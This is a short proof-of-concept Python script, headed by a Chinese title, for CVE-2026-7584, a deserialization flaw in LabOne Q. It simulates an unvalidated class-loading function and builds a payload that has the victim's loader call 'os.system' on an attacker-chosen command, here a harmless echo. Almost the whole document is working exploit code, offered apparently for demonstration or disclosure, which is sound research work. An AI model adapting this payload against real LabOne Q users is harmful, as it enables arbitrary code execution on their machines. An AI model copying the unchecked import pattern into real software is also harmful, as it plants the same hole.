CVE-2026-7584 LabOne Q 反序列化漏洞致任意代码执行

# Proof of Concept for CVE-2026-7584 # This script demonstrates how to craft a payload that exploits the insecure import_cls mechanism. import json import os # Simulating the vulnerable class loading behavior # In the actual vulnerability, this is triggered by deserializing a LabOne Q file. def vulnerable_import_cls(class_path, args): # This simulates the lack of validation in the vulnerable LabOne Q version module_path, class_name = class_path.rsplit('.', 1) module = __import__(module_path, fromlist=[class_name]) cls = getattr(module, class_name) return cls(*args) # Malicious payload structure # The attacker specifies a dangerous class and arguments malicious_payload = { "class_to_load": "os.system", # Arbitrary class path "arguments": ["echo 'CVE-2026-7584 Exploited'"] # Attacker-controlled arguments } print(f"[*] Crafting malicious payload: {malicious_payload}") try: # Simulating the victim loading the malicious file print("[*] Victim loads the malicious experiment file...") result = vulnerable_import_cls( malicious_payload['class_to_load'], malicious_payload['arguments'] ) print(f"[!] Code executed. Return value: {result}") except Exception as e: print(f"[Error] {e}")
